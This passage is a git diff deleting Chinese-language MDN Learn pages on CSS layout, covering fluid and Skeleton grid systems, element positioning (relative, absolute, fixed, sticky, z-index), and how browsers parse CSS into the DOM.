-.col.span8 { width: calc((6.25%*8) + (2.08333333%*7)); }
-.col.span9 { width: calc((6.25%*9) + (2.08333333%*8)); }
-.col.span10 { width: calc((6.25%*10) + (2.08333333%*9)); }
-.col.span11 { width: calc((6.25%*11) + (2.08333333%*10)); }
-.col.span12 { width: calc((6.25%*12) + (2.08333333%*11)); }
- -
-

备注:你能在fluid-grid-calc.html里看到我们的完成版(另见实时版)。

-
- -
-

备注:如果你不能让这个正常工作,可能是你的浏览器不支持calc()函数,尽管各浏览器对它的支持相当好——远至IE9那样老。

-
- -

语义vs.“无语义”网格系统

- -

在标记中添加类以定义布局,意味着您的内容和标记与您的可视化表示相关联。你将会偶尔听到,这种使用CSS类的方式,被描绘成“无语义”:描述了内容的外观,而不是描述内容的语义性的类的使用。这是我们的span2span3等类所面临的情况。

- -

这些并不是唯一的方法,你或许会转头决定使用网格,然后向已有的语义类里面加入尺寸信息。例如,如果你有一个带有content类的{{htmlelement("div")}},而且你想让它横跨8列,你可以从span8类里面复制整个关于宽度的规则,结果是像这样的一条规则:

- -
.content {
-  width: calc((6.25%*8) + (2.08333333%*7));
-}
- -
-

备注: 如果你要用预处理工具,如Sass,你可以建立一个简单的类(mixin)以插入那个值。

-
- -

在我们的网格里启用偏移容器

- -

我们创造的网格很有效。只要我们想把所有容器都从网格的左手边对齐。如果我们想在第一个容器前来个空列,或者容器之间来个空列,我们需要新建一个偏移类,为站点加上左外边距,来可见地推动网格。再来点数学计算!

- -

让我们实际试试吧。

- -

从你以前的代码开始,或者把我们的fluid-grid.html文件用作起始点。

- -

我们在CSS上搞一个类,它会给一个容器元素来个一列宽度的偏移。将下面的内容加到你的CSS的底部:

- -
.offset-by-one {
-  margin-left: calc(6.25% + (2.08333333%*2));
-}
- -

或者假如你更愿意自己算百分比,用下面这个:

- -
.offset-by-one {
-  margin-left: 10.41666666%;
-}
- -

想要给一个容器的左边加个有一列宽的空白的话,你可以在容器上添加这个类。例如,如果你在HTML中有这个内容的时候:

- -
<div class="col span6">14</div>
- -

试着用下面的替换:

- -
<div class="col span5 offset-by-one">14</div>
- -
-

备注: 注意你需要别让横跨多列的列太多,给偏移留点空间!

-
- -

试着载入,刷新来查看区别,或者查看我们的fluid-grid-offset.html示例(另见实时示例)。完成的示例应该看起来像这样:

- -

- -
-

备注:作为额外练习,你能实现一个offset-by-two类吗?

-
- -

浮动网格的限制

- -

当你想用这个网格系统时,你得仔细看看你的总长是否正确,并且每行中的元素所横跨的列数不超过这一行可容纳的列数。由于浮动布局实现的方式,如果网格列的数目对与网格来说太大,在最后边的元素会跑到下一行去,搞坏了布局 。

- -

还要记住,如果元素内容比行宽,它会溢出,看起来一团糟。

- -

这个系统的最大限制是,它本质上是一维的。我们在处理列、让元素跨越列,但是处理不了行。如果不设置一个确定的高度,用老方法很难控制元素高。这个方法很不灵活 —它只有在你确定你的内容有个明确的高的情况下有用。

- -

弹性盒网格?

- -

如果你读了之前关于flexbox的文章,你大概会想,弹性布局是个写网格布局的好办法。现在有很多基于弹性布局的网格布局,并且弹性布局可以解决很多上面讲的问题。

- -

但是,弹性布局不是为网格布局而设的,把它当网格布局来用也有新的挑战。举个简单的例子,我们可以使用我们在上面使用过的同样的示例标记,用下面的CSS样式化wrapperrowcol类:

- -
body {
-  width: 90%;
-  max-width: 980px;
-  margin: 0 auto;
-}
-
-.wrapper {
-  padding-right: 2.08333333%;
-}
-
-
-.row {
-  display: flex;
-}
-
-.col {
-  margin-left: 2.08333333%;
-  margin-bottom: 1em;
-  width: 6.25%;
-  flex: 1 1 auto;
-  background: rgb(255,150,150);
-}
- -

你可以试着在你自己的示例里做这些替换,或者看下我们的flexbox-grid.html示例代码(另见实时版)。

- -

这里,我们会把每行变成一个弹性容器。有了弹性盒为基础的网格,我们仍然需要行,以让我们的元素加起来能不超过100%。我们将容器设为display: flex

- -

.col上。我们设定{{cssxref("flex")}}属性的第一个值({{cssxref("flex-grow")}})为1,这样我们的物件可以变大;第二个值({{cssxref("flex-shrink")}})为1,这样我们的物件可以缩小;第三个值({{cssxref("flex-basis")}})为auto。因为我们的元素的{{cssxref("width")}}被设定了, auto将会使用和flex-basis 值一样的宽度。

- -

在顶行,我们有十二个整齐的盒子,它们在视口宽度改变时同等地放大缩小。可是在下一行,我们只有四个物件,它们也从六十像素的基础上变大变小。因为它们只有四个,它们可以长得比上一行的物件更快,结果是它们都占据了第二行的相同宽度。

- -

- -

为了解决这个问题,我们仍然需要包含span类,以提供一个用于那个元素的,可以替换掉为 flex-basis所使用的值的宽度。

- -

它们也不遵从上面的物件使用的网格,因为它们对它一无所知。

- -

弹性盒设计上是一维。它处理单个维度,行的或者列的。我们不能创建一个对行列严格要求的网格,意即如果我们要在我们的网格上使用弹性盒的话,我们仍然需要计算浮动布局的百分比。

- -

在你的工程中,由于弹性盒相比浮动能提供附加的对齐和空间分布能力,你可能仍然选择使用弹性盒“网格”。但是你应该清楚,你仍然是在使用一个被设计用来做其他事情的工具。所以你可能觉得,这就像是在你抵达你想要的结果之前,让你跳过额外的坑。

- -

第三方网格系统

- -

既然我们理解了我们的网格计算背后的数学了,我们现在该看看一些常用的第三方网格系统了。如果你在互联网上搜索“CSS网格框架”的话,你会发现一个包含了可选项的庞大列表。流行的框架,例如BootstrapFoundation,就包含了网格系统。此外还有独立的网格系统,不是用CSS开发的就是用预处理器开发的。

- -

让我们看下这些独立系统其中的一个,它阐释了利用网格框架工作的常见技术。我们将要使用的网格是Skeleton的一部分,它是一种简单的CSS框架。

- -

访问Skeleton网站以开始,选择“Download”下载ZIP文件。解压文件,把skeleton.css和normalize.css复制到一个新路径下。

- -

制作一个html-skeleton.html文件的副本,在同skeleton和normalize CSS相同的路径下保存副本。

- -

在HTML页面包含skeleton和normalize CSS,通过把以下内容加到文件头部的方式:

- -
<link href="normalize.css" rel="stylesheet">
-<link href="skeleton.css" rel="stylesheet">
- -

Skeleton不仅包含了网格系统,它还包含了用于排版和其他能作为起始点的页面元素上的CSS。我们现在把这些部分留作默认值,我们在这里真正感兴趣的是网格。

- -
-

备注:Normalize是由Nicolas Gallagher编写的一个很有用的小CSS库,它自动做了一些有用的基础布局修正,让元素默认的样式化在不同浏览器中更加协调。

-
- -

我们将会使用和在前面的示例中相似的HTML。将下面的内容加到你的HTML body中:

- -
<div class="container">
-  <div class="row">
-    <div class="col">1</div>
-    <div class="col">2</div>
-    <div class="col">3</div>
-    <div class="col">4</div>
-    <div class="col">5</div>
-    <div class="col">6</div>
-    <div class="col">7</div>
-    <div class="col">8</div>
-    <div class="col">9</div>
-    <div class="col">10</div>
-    <div class="col">11</div>
-    <div class="col">12</div>
-  </div>
-  <div class="row">
-    <div class="col">13</div>
-    <div class="col">14</div>
-    <div class="col">15</div>
-    <div class="col">16</div>
-  </div>
-</div>
- -


- 要开始使用Skeleton,我们需要给包装的{{htmlelement("div")}}一个container类——这已经包含在了我们的HTML里面。这让最大宽度为960像素的内容居中了。你可以看看盒子现在是怎么不会宽于960像素的。

- -

你可以看看skeleton.css文件里,CSS在我们应用这个类的时候是如何使用的。<div>用值为auto的左右外边距居中,左边和右边还应用了20像素的内边距。同我们前面做过的那样,Skeleton同时把Skeleton{{cssxref("box-sizing")}}属性设为border-box值,所以这个元素的内边距和边框将会被包含在整个width里面。

- -
.container {
-  position: relative;
-  width: 100%;
-  max-width: 960px;
-  margin: 0 auto;
-  padding: 0 20px;
-  box-sizing: border-box;
-}
- -

如果它们在行里面的话,元素只会是网格的一部分,所以对于前面的示例,我们需要一个额外的<div>或者其他带有row类的、内嵌到content <div>和我们实际的内容容器的<div>之间的元素。我们也已经做了这件事。

- -

现在让我们铺开容器盒子。Skeleton基于一个12列的网格。顶端一行的盒子都需要加上one column的类,以让它们横跨一列。

- -

现在加上这些,像是在下面的节录里面显示的那样:

- -
<div class="container">
-  <div class="row">
-    <div class="one column">1</div>
-    <div class="one column">2</div>
-    <div class="one column">3</div>
-    /* and so on */
-  </div>
-</div>
- -

然后,给第二行的容器加上解释它们应该横跨几个列的类,像这样:

- -
<div class="row">
-  <div class="one column">13</div>
-  <div class="six columns">14</div>
-  <div class="three columns">15</div>
-  <div class="two columns">16</div>
-</div>
- -

试着保存你的HTML,在你的浏览器里面载入,看下效果。

- -
-

备注:如果你在实现这个示例的时候遇到麻烦,试着拿它和我们的html-skeleton-finished.html文件进行比较(另见实时运行版)。

-
- -

如果你看下skeleton.css文件的内容,你能理解这是如何实现的。例如,Skeleton有下面的定义内容,用于样式化加入了“three colomns”类的元素。

- -
.three.columns { width: 22%; }
- -

Skeleton(或者其他任何网格框架)正在做的所有事情是,设定一个预定义的类,你可以通过把它们加到你的标记文件里面的方式使用这些框架,和你自己做计算这些百分数的工作完全是一样的。

- -

正如你所看到的这样,我们使用Skeleton的时候,几乎不需要写多少CSS。它在我们向标记文本里面加类的时候,替我们处理了所有的浮动。正是把布局的责任甩给其他人的可能性,使得使用用于网格系统的框架成为了一个强制性的选择!但是现在来看,有了CSS网格布局,许多开发者正在停止使用这些框架,转而使用CSS提供的内建的原生网格。

- -

小结

- -

你现在理解了多种网格系统是如何建立的。这将会在处理老网站的时候,以及理解CSS网格布局的原生网格和那些老系统的不同的时候帮到你。

- -

{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-Column_Layout", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}

- -

模块目录

- - diff --git "a/files/zh-cn/learn/css/css_layout/\345\256\232\344\275\215/index.html" "b/files/zh-cn/learn/css/css_layout/\345\256\232\344\275\215/index.html" deleted file mode 100644 index cbfa094300..0000000000 --- "a/files/zh-cn/learn/css/css_layout/\345\256\232\344\275\215/index.html" +++ /dev/null @@ -1,615 +0,0 @@ ---- -title: 定位 -slug: Learn/CSS/CSS_layout/定位 -tags: - - CSS - - 初学者 - - 定位 - - 布局 - - 指南 - - 相对定位 - - 绝对定位 -translation_of: Learn/CSS/CSS_layout/Positioning ---- -
-

{{LearnSidebar}}

- -

{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout/Practical_positioning_examples", "Learn/CSS/CSS_layout")}}

-
- -

定位允许您从正常的文档流布局中取出元素,并使它们具有不同的行为,例如放在另一个元素的上面,或者始终保持在浏览器视窗内的同一位置。 本文解释的是定位({{cssxref("position")}})的各种不同值,以及如何使用它们。

- - - - - - - - - - - - -
预备知识:HTML 基础 (学习 HTML导学)和CSS怎样工作的 (学习 CSS导学)
目的:了解CSS定位的工作原理
- -

文档流

- -

定位是一个相当复杂的话题,所以我们深入了解代码之前,让我们审视一下布局理论,并让我们了解它的工作原理。

- -

首先,围绕元素内容添加任何内边距、边界和外边距来布置单个元素盒子——这就是 盒模型 ,我们前面看过。 默认情况下,块级元素的内容宽度是其父元素的宽度的100%,并且与其内容一样高。内联元素高宽与他们的内容高宽一样。您不能对内联元素设置宽度或高度——它们只是位于块级元素的内容中。 如果要以这种方式控制内联元素的大小,则需要将其设置为类似块级元素 display: block;

- -

这只是解释了单个元素,但是元素相互之间如何交互呢? 正常的布局流(在布局介绍文章中提到)是将元素放置在浏览器视口内的系统。默认情况下,块级元素在视口中垂直布局——每个都将显示在上一个元素下面的新行上,并且它们的外边距将分隔开它们。

- -

内联元素表现不一样——它们不会出现在新行上;相反,它们互相之间以及任何相邻(或被包裹)的文本内容位于同一行上,只要在父块级元素的宽度内有空间可以这样做。如果没有空间,那么溢流的文本或元素将向下移动到新行。

- -

如果两个相邻元素都在其上设置外边距,并且两个外边距接触,则两个外边距中的较大者保留,较小的一个消失——这叫外边距折叠, 我们之前也遇到过。

- -

让我们来看一个简单的例子来解析这一切:

- -
<h1>Basic document flow</h1>
-
-<p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p>
-
-<p>By default we span 100% of the width of our parent element, and we are as tall as our child content. Our total width and height is our content + padding + border width/height.</p>
-
-<p>We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.</p>
-
-<p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements will <span>wrap onto a new line if possible (like this one containing text)</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p>
- -
body {
-  width: 500px;
-  margin: 0 auto;
-}
-
-p {
-  background: aqua;
-  border: 3px solid blue;
-  padding: 10px;
-  margin: 10px;
-}
-
-span {
-  background: red;
-  border: 1px solid black;
-}
- -

{{ EmbedLiveSample('文档流', '100%', 500) }}

- -

在我们阅读本文时,我们将多次重复这个例子,因为我们要展示不同定位选项的效果。

- -

如果可能,我们希望您在本地计算机上跟随练习 — 从GitHub仓库下载一个0_basic-flow.html (源代码) 然后用它作为我们的起步点。

- -

介绍定位

- -

定位的整个想法是允许我们覆盖上面描述的基本文档流行为,以产生有趣的效果。如果你想稍微改变布局中一些盒子的位置,使它们的默认布局流程位置稍微有点古怪,不舒服的感觉呢?定位是你的工具。或者,如果您想要创建一个浮动在页面其他部分顶部的UI元素,并且/或者始终停留在浏览器窗口内的相同位置,无论页面滚动多少?定位使这种布局工作成为可能。

- -

有许多不同类型的定位,您可以对HTML元素生效。要使某个元素上的特定类型的定位,我们使用{{cssxref("position")}}属性。

- -

静态定位

- -

静态定位是每个元素获取的默认值——它只是意味着“将元素放入它在文档布局流中的正常位置 ——这里没有什么特别的。

- -

为了演示这一点,并为以后的部分设置示例,首先在HTML中添加一个positioned 的 class 到第二个{{htmlelement("p")}}:

- -
<p class="positioned"> ... </p>
- -

现在,将以下规则添加到CSS的底部:

- -
.positioned {
-  position: static;
-  background: yellow;
-}
- -

如果现在保存和刷新,除了第2段的更新的背景颜色,根本没有差别。这很好——正如我们之前所说,静态定位是默认行为!

- -
-

注意:你可以在 1_static-positioning.html 查看这个例子 (see source code)。

-
- -

相对定位

- -

相对定位是我们将要看的第一个位置类型。 它与静态定位非常相似,占据在正常的文档流中,除了你仍然可以修改它的最终位置,包括让它与页面上的其他元素重叠。 让我们继续并更新代码中的 position 属性:

- -
position: relative;
- -

如果您在此阶段保存并刷新,则结果根本不会发生变化。那么如何修改元素的位置呢? 您需要使用{{cssxref("top")}},{{cssxref("bottom")}},{{cssxref("left")}}和{{cssxref("right")}}属性 ,我们将在下一节中解释。

- -

介绍 top, bottom, left,  right

- -

{{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, 和 {{cssxref("right")}} 来精确指定要将定位元素移动到的位置。 要尝试这样做,请在CSS中的 .positioned 规则中添加以下声明:

- -
top: 30px;
-left: 30px;
- -
-

注意:这些属性的值可以采用逻辑上期望的任何单位 ——px,mm,rems,%等。

-
- -

如果你现在保存和刷新,你会得到一个这样的结果:

- - - -

{{ EmbedLiveSample('介绍_top_bottom_left_right', '100%', 500) }}

- -

酷,是吗? 好吧,所以这个结果这可能不是你期待的——为什么它移动到底部和右边,但我们指定顶部和左边? 听起来不合逻辑,但这只是相对定位工作的方式——你需要考虑一个看不见的力,推动定位的盒子的一侧,移动它的相反方向。 所以例如,如果你指定 top: 30px;一个力推动框的顶部,使它向下移动30px。

- -
-

注意: 你可以在 2_relative-positioning.html 查看这个例子 (see source code)。

-
- -

绝对定位

- -

绝对定位带来了非常不同的结果。让我们尝试改变代码中的位置声明如下:

- -
position: absolute;
- -

如果你现在保存和刷新,你应该看到这样:

- - - -

{{ EmbedLiveSample('绝对定位', '100%', 420) }}

- -

首先,请注意,定位的元素应该在文档流中的间隙不再存在——第一和第三元素已经靠在一起,就像第二个元素不再存在!好吧,在某种程度上,这是真的。绝对定位的元素不再存在于正常文档布局流中。相反,它坐在它自己的层独立于一切。这是非常有用的:这意味着我们可以创建不干扰页面上其他元素的位置的隔离的UI功能 。例如,弹出信息框和控制菜单;翻转面板;可以在页面上的任何地方拖放的UI功能……

- -

第二,注意元素的位置已经改变——这是因为{{cssxref("top")}},{{cssxref("bottom")}},{{cssxref("left")}}和{{cssxref("right")}}以不同的方式在绝对定位。 它们指定元素应距离每个包含元素的边的距离,而不是指定元素应该移入的方向。 所以在这种情况下,我们说的绝对定位元素应该位于从“包含元素”的顶部30px,从左边30px。

- -
-

注意:如果需要,您可以使用{{cssxref("top")}},{{cssxref("bottom")}},{{cssxref("left")}}和{{cssxref("right")}} 调整元素大小。 尝试设置 top: 0; bottom: 0; left: 0; right: 0; 和 margin: 0; 对你定位的元素,看看会发生什么! 之后再回来

-
- -
-

注意:是的,margins 仍会影响定位的元素。 然而margin collapsing不会。

-
- -
-

注意:你可以在3_absolute-positioning.html 查看这个例子(see source code)。

-
- -

定位上下文

- -

哪个元素是绝对定位元素的“包含元素“?这取决于绝对定位元素的父元素的position属性。(参见 Identifying the containing block).

- -

如果所有的父元素都没有显式地定义position属性,那么所有的父元素默认情况下position属性都是static。结果,绝对定位元素会被包含在初始块容器中。这个初始块容器有着和浏览器视口一样的尺寸,并且<html>元素也被包含在这个容器里面。简单来说,绝对定位元素会被放在<html>元素的外面,并且根据浏览器视口来定位。

- -

绝对定位元素在HTML源代码中,是被放在<body>中的,但是在最终的布局里面,它离页面(而不是<body>)的左边界、上边界有30px的距离。我们可以改变定位上下文 —— 绝对定位的元素的相对位置元素。通过设置其中一个父元素的定位属性 —— 也就是包含绝对定位元素的那个元素(如果要设置绝对定位元素的相对元素,那么这个元素一定要包含绝对定位元素)。 为了演示这一点,将以下声明添加到您的body规则中:

- -
position: relative;
- -

应该得到以下结果:

- - - -

{{ EmbedLiveSample('定位上下文', '100%', 420) }}

- -

定位的元素现在相对于{{htmlelement("body")}}元素。

- -
-

注意:你可以在这里看到这个例子 4_positioning-context.html (see source code).

-
- -

介绍 z-index

- -

所有这些绝对定位很有趣,但还有另一件事我们还没有考虑到 ——当元素开始重叠,什么决定哪些元素出现在其他元素的顶部? 在我们已经看到的示例中,我们在定位上下文中只有一个定位的元素,它出现在顶部,因为定位的元素胜过未定位的元素。 当我们有不止一个的时候呢?

- -

尝试添加以下到您的CSS,使第一段也是绝对定位:

- -
p:nth-of-type(1) {
-  position: absolute;
-  background: lime;
-  top: 10px;
-  right: 30px;
-}
- -

此时,您将看到第一段的颜色为绿色,移出文档流程,并位于原始位置上方一点。它也堆叠在原始的 .positioned 段落下,其中两个重叠。这是因为 .positioned 段落是源顺序(HTML标记)中的第二个段落,并且源顺序中后定位的元素将赢得先定位的元素。

- -

您可以更改堆叠顺序吗?是的,您可以使用{{cssxref("z-index")}}属性。 “z-index”是对z轴的参考。你可以从源代码中的上一点回想一下,我们使用水平(x轴)和垂直(y轴)坐标来讨论网页,以确定像背景图像和阴影偏移之类的东西的位置。 (0,0)位于页面(或元素)的左上角,x和y轴跨页面向右和向下(适合从左到右的语言,无论如何)。

- -

网页也有一个z轴:一条从屏幕表面到你的脸(或者在屏幕前面你喜欢的任何其他东西)的虚线。{{cssxref("z-index")}} 值影响定位元素位于该轴上的位置;正值将它们移动到堆栈上方,负值将它们向下移动到堆栈中。默认情况下,定位的元素都具有z-index为auto,实际上为0。

- -

要更改堆叠顺序,请尝试将以下声明添加到 p:nth-of-type(1) 规则中:

- -
z-index: 1;
- -

你现在应该可以看到完成的例子:

- - - -

{{ EmbedLiveSample('介绍_z-index', '100%', 400) }}

- -

请注意,z-index只接受无单位索引值;你不能指定你想要一个元素是Z轴上23像素—— 它不这样工作。 较高的值将高于较低的值,这取决于您使用的值。 使用2和3将产生与300和40000相同的效果。

- -
-

注意:你可以在这里看到这个例子 5_z-index.html (see source code).

-
- -

固定定位

- -

还有一种类型的定位覆盖——fixed。 这与绝对定位的工作方式完全相同,只有一个主要区别:绝对定位固定元素是相对于 {{htmlelement("html")}} 元素或其最近的定位祖先,而固定定位固定元素则是相对于浏览器视口本身。 这意味着您可以创建固定的有用的UI项目,如持久导航菜单。

- -

让我们举一个简单的例子来说明我们的意思。首先,从CSS中删除现有的 p:nth-of-type(1) 和.positioned 规则。

- -

现在,更新 body 规则以删除position: relative; 声明并添加固定高度,如此:

- -
body {
-  width: 500px;
-  height: 1400px;
-  margin: 0 auto;
-}
- -

现在我们要给{{htmlelement("h1")}}元素 position: fixed;,并让它坐在视口的顶部中心。将以下规则添加到CSS:

- -
h1 {
-  position: fixed;
-  top: 0;
-  width: 500px;
-  margin: 0 auto;
-  background: white;
-  padding: 10px;
-}
- -

 top: 0;是要使它贴在屏幕的顶部;我们然后给出标题与内容列相同的宽度,并使用可靠的老技巧 margin: 0 auto; 使它居中。 然后我们给它一个白色背景和一些内边距,所以内容将不会在它下面可见。

- -

如果您现在保存并刷新,您会看到一个有趣的小效果,标题保持固定,内容显示向上滚动并消失在其下。 但是我们可以改进这一点——目前标题下面挡住一些内容的开头。这是因为定位的标题不再出现在文档流中,所以其他内容向上移动到顶部。 我们要把它向下移动一点;我们可以通过在第一段设置一些顶部边距来做到这一点。添加:

- -
p:nth-of-type(1) {
-  margin-top: 60px;
-}
- -

你现在应该看到完成的例子:

- - - -

{{ EmbedLiveSample('固定定位', '100%', 400) }}

- -
-

注意:你可以在这里看到这个例子6_fixed-positioning.html (see source code).

-
- -

position: sticky

- -

还有一个可用的位置值称为 position: sticky,比起其他位置值要新一些。它基本上是相对位置和固定位置的混合体,它允许被定位的元素表现得像相对定位一样,直到它滚动到某个阈值点(例如,从视口顶部起1​​0像素)为止,此后它就变得固定了。例如,它可用于使导航栏随页面滚动直到特定点,然后粘贴在页面顶部。

- - - -
.positioned {
-  position: sticky;
-  top: 30px;
-  left: 30px;
-}
- -

{{ EmbedLiveSample('Sticky_1', '100%', 200) }}

- -

position: sticky 的另一种有趣且常用的用法,是创建一个滚动索引页面。在此页面上,不同的标题会停留在页面顶部。这样的示例的标记可能如下所示:

- -
<h1>Sticky positioning</h1>
-
-<dl>
-    <dt>A</dt>
-    <dd>Apple</dd>
-    <dd>Ant</dd>
-    <dd>Altimeter</dd>
-    <dd>Airplane</dd>
-    <dt>B</dt>
-    <dd>Bird</dd>
-    <dd>Buzzard</dd>
-    <dd>Bee</dd>
-    <dd>Banana</dd>
-    <dd>Beanstalk</dd>
-    <dt>C</dt>
-    <dd>Calculator</dd>
-    <dd>Cane</dd>
-    <dd>Camera</dd>
-    <dd>Camel</dd>
-    <dt>D</dt>
-    <dd>Duck</dd>
-    <dd>Dime</dd>
-    <dd>Dipstick</dd>
-    <dd>Drone</dd>
-    <dt>E</dt>
-    <dd>Egg</dd>
-    <dd>Elephant</dd>
-    <dd>Egret</dd>
-</dl>
- -

CSS可能如下所示。在正常布局流中,{{htmlelement("dt")}}元素将随内容滚动。当我们在{{htmlelement("dt")}}元素上添加position: sticky,并将{{cssxref("top")}}的值设置为0,当标题滚动到视口的顶部时,支持此属性的浏览器会将标题粘贴到那个位置。随后,每个后续标题将替换前一个标题,直到它向上滚动到该位置。

- -
dt {
-  background-color: black;
-  color: white;
-  padding: 10px;
-  position: sticky;
-  top: 0;
-  left: 0;
-  margin: 1em 0;
-}
-
- - - -

{{ EmbedLiveSample('Sticky_2', '100%', 200) }}

- -
-

注意:你可以在 7_sticky-positioning.html 查看这个例子(see source code)。

-
- -

试试你的技术!

- -

这篇文章到此为止了,但你们能记住最重要的信息吗?在继续之前,您可以找到一些进一步的测试来验证是否完全掌握了这个知识:试试你的技术

- -

总结

- -

我相信你用基本定位愉快地玩耍;它是创建复杂的CSS布局和UI功能背后的基本工具之一。 考虑到这一点,在下一篇文章中,我们将更有趣的定位——我们将进一步,开始建立一些真实世界有用的东西。

- -

{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout/Practical_positioning_examples", "Learn/CSS/CSS_layout")}}

- -

在本单元中

- - diff --git "a/files/zh-cn/learn/css/first_steps/css\345\246\202\344\275\225\350\277\220\350\241\214/index.html" "b/files/zh-cn/learn/css/first_steps/css\345\246\202\344\275\225\350\277\220\350\241\214/index.html" deleted file mode 100644 index 7aafcf481f..0000000000 --- "a/files/zh-cn/learn/css/first_steps/css\345\246\202\344\275\225\350\277\220\350\241\214/index.html" +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: CSS如何运行 -slug: Learn/CSS/First_steps/CSS如何运行 -tags: - - CSS - - DOM - - 入门 - - 无效的CSS代码 - - 解析 -translation_of: Learn/CSS/First_steps/How_CSS_works ---- -

{{LearnSidebar}}
- {{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}

- -

我们已经知道了CSS是做什么的以及怎么写简单的样式这样基础的CSS,接下来我将了解到浏览器如何获取CSS、HTML和将他们加载成网页。

- - - - - - - - - - - - -
前置知识:基础计算机知识、基本软件安装、简单文件知识、HTML基础
目标:理解浏览器如何加载CSS和HTML、浏览器遇到无法解析的CSS会发生什么
- -

CSS究竟是怎么工作的?

- -

当浏览器展示一个文件的时候,它必须兼顾文件的内容和文件的样式信息,下面我们会了解到它处理文件的标准的流程。需要知道的是,下面的步骤是浏览加载网页的简化版本,而且不同的浏览器在处理文件的时候会有不同的方式,但是下面的步骤基本都会出现。

- -
    -
  1. 浏览器载入HTML文件(比如从网络上获取)。
  2. -
  3. 将HTML文件转化成一个DOM(Document Object Model),DOM是文件在计算机内存中的表现形式,下一节将更加详细的解释DOM。
  4. -
  5. 接下来,浏览器会拉取该HTML相关的大部分资源,比如嵌入到页面的图片、视频和CSS样式。JavaScript则会稍后进行处理,简单起见,同时此节主讲CSS,所以这里对如何加载JavaScript不会展开叙述。
  6. -
  7. 浏览器拉取到CSS之后会进行解析,根据选择器的不同类型(比如element、class、id等等)把他们分到不同的“桶”中。浏览器基于它找到的不同的选择器,将不同的规则(基于选择器的规则,如元素选择器、类选择器、id选择器等)应用在对应的DOM的节点中,并添加节点依赖的样式(这个中间步骤称为渲染树)。
  8. -
  9. 上述的规则应用于渲染树之后,渲染树会依照应该出现的结构进行布局。
  10. -
  11. 网页展示在屏幕上(这一步被称为着色)。
  12. -
- -

结合下面的图示更形象:

- -

- -

关于DOM

- -

一个DOM有一个树形结构,标记语言中的每一个元素、属性以及每一段文字都对应着结构树中的一个节点(Node/DOM或DOM node)。节点由节点本身和其他DOM节点的关系定义,有些节点有父节点,有些节点有兄弟节点(同级节点)。

- -

对于DOM的理解会很大程度上帮助你设计、调试和维护你的CSS,因为DOM是你的CSS样式和文件内容的结合。当你使用浏览器F12调试的时候你需要操作DOM以查看使用了哪些规则。

- -

一个真实的DOM案例

- -

不同于很长且枯燥的案例,这里我们通过一个HTML片段来了解HTML怎么转化成DOM

- -

以下列HTML代码为例:

- -
<p>
-  Let's use:
-  <span>Cascading</span>
-  <span>Style</span>
-  <span>Sheets</span>
-</p>
-
- -

在这个DOM中,<p>元素对应了父节点,它的子节点是一个text节点和三个对应了<span>元素的节点,SPAN节点同时也是他们中的Text节点的父节点。

- -
P
-├─ "Let's use:"
-├─ SPAN
-|  └─ "Cascading"
-├─ SPAN
-|  └─ "Style"
-└─ SPAN
-   └─ "Sheets"
-
- -

上图就是浏览器怎么解析之前那个HTML片段——它生成上图的DOM树形结构并将它按照如下输出到浏览器:

- -

{{EmbedLiveSample('一个真实的DOM案例', '100%', 55)}}

- - - -

应用CSS到DOM

- -

接下来让我们看看添加一些CSS到文件里加以渲染,同样的HTML代码:

- -
<p>
-  Let's use:
-  <span>Cascading</span>
-  <span>Style</span>
-  <span>Sheets</span>
-</p>
- -

以下为CSS代码:

- -
span {
-  border: 1px solid black;
-  background-color: lime;
-}
- -

浏览器会解析HTML并创造一个DOM,然后解析CSS。可以看到唯一的选择器就是span元素选择器,浏览器处理规则会非常快!把同样的规则直接使用在三个<span>标签上,然后渲染出图像到屏幕。

- -

现在的显示如下:

- -

{{EmbedLiveSample('应用CSS到DOM', '100%', 55)}}

- -

在我们下一个模块的 Debugging CSS 文章中我们将会使用F12调试CSS的问题并且更进一步的了解浏览器如何解析CSS。

- -

当浏览器遇到无法解析的CSS代码会发生什么

- -

之前的文章中我们提到了浏览器并不会同时实现所有的新CSS,此外很多人也不会使用最新版本的浏览器。鉴于CSS一直不断的开发,因此领先于浏览器可以识别的范围,那么你也许会好奇当浏览器遇到无法解析的CSS选择器或声明的时候会发生什么呢?

- -

答案就是浏览器什么也不会做,继续解析下一个CSS样式!

- -

如果一个浏览器在解析你所书写的CSS规则的过程中遇到了无法理解的属性或者值,它会忽略这些并继续解析下面的CSS声明。在你书写了错误的CSS代码(或者误拼写),又或者当浏览器遇到对于它来说很新的还没有支持的CSS代码的时候上述的情况同样会发生(直接忽略)。

- -

相似的,当浏览器遇到无法解析的选择器的时候,他会直接忽略整个选择器规则,然后解析下一个CSS选择器。

- -

在下面的案例中,我使用会导致属性错误的英式拼写来书写"color",所以我的段落没有被渲染成蓝色,而其他的CSS代码会正常执行,只有错误的部分会被忽略。

- -
-
<p> I want this text to be large, bold and blue.</p>
- -
p {
-  font-weight: bold;
-  colour: blue; /* incorrect spelling of the color property */
-  font-size: 200%;
-}
-
- -

{{EmbedLiveSample('Skipping_example', '100%', 200)}}

- -

这样做好处多多,代表着你使用最新的CSS优化的过程中浏览器遇到无法解析的规则也不会报错。当你为一个元素指定多个CSS样式的时候,浏览器会加载样式表中的最后的CSS代码进行渲染(样式表,优先级等请读者自行了解),也正因为如此,你可以为同一个元素指定多个CSS样式来解决有些浏览器不兼容新特性的问题(比如指定两个width)。

- -

这一特点在你想使用一个很新的CSS特性但是不是所有浏览器都支持的时候(浏览器兼容)非常有用,举例来说,一些老的浏览器不接收calc()(calculate的缩写,CSS3新增,为元素指定动态宽度、长度等,注意此处的动态是计算之后得一个值)作为一个值。我可能使用它结合像素为一个元素设置了动态宽度(如下),老式的浏览器由于无法解析忽略这一行;新式的浏览器则会把这一行解析成像素值,并且覆盖第一行指定的宽度。

- -
